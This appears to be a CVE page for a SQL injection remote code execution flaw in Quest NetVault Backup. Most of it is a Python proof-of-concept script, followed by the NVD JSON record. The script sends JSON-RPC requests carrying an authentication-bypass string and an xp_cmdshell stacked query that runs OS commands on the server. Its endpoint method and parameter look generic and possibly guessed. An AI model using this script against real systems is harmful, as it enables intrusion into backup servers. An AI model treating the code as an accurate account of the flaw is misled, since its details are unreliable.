CVE-2026-9786

# CVE-2026-9786 PoC - Quest NetVault Backup NVBUDashboard SQL Injection RCE # Original advisory: ZDI-CAN-27626 / ZDI-26-375 # WARNING: This PoC is for educational and authorized testing purposes only import requests import json TARGET_URL = "https://target-host:8443/NVBUDashboard/" JSONRPC_ENDPOINT = TARGET_URL + "jsonrpc" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in NVBUDashboard JSON-RPC message processing """ # Step 1: Craft malicious JSON-RPC message with SQL injection payload jsonrpc_payload = { "jsonrpc": "2.0", "method": "dashboard.getData", "params": { "query": injection_payload # User-supplied string used in SQL query }, "id": 1 } # Step 2: Send the malicious request headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post( JSONRPC_ENDPOINT, data=json.dumps(jsonrpc_payload), headers=headers, verify=False, timeout=10 ) return response.text except Exception as e: return f"Error: {str(e)}" def bypass_authentication(): """ Bypass authentication mechanism via SQL injection """ # SQL injection payload to bypass authentication auth_bypass_payload = "' OR '1'='1' --" result = exploit_sql_injection(TARGET_URL, auth_bypass_payload) print(f"[*] Auth bypass result: {result}") return result def execute_rce(): """ Execute arbitrary code via SQL injection -> command execution """ # For MSSQL: use xp_cmdshell to execute OS commands rce_payload = "'; EXEC xp_cmdshell('whoami'); --" result = exploit_sql_injection(TARGET_URL, rce_payload) print(f"[*] RCE result (should show NETWORK SERVICE): {result}") return result if __name__ == "__main__": print("[*] CVE-2026-9786 PoC - Quest NetVault Backup SQL Injection RCE") print("[*] Step 1: Bypassing authentication...") bypass_authentication() print("[*] Step 2: Executing arbitrary code...") execute_rce()

{"cve": {"id": "CVE-2026-9786", "sourceIdentifier": "[email protected]", "published": "2026-06-25T00:17:48.850", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quest NetVault Backup NVBUDashboard SQL Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Quest NetVault Backup. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the processing of NVBUDashboard JSON-RPC messages. The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to execute code in the context of NETWORK SERVICE. Was ZDI-CAN-27626."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Quest", "product": "NetVault Backup", "defaultStatus": "unknown", "versions": [{"version": "14.0.0.19", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:45:19.495308Z", "id": "CVE-2026-9786", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://support.quest.com/technical-documents/netvault/14.0.2/release-notes#TOPIC-2338529", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-375/", "source": "[email protected]"}]}}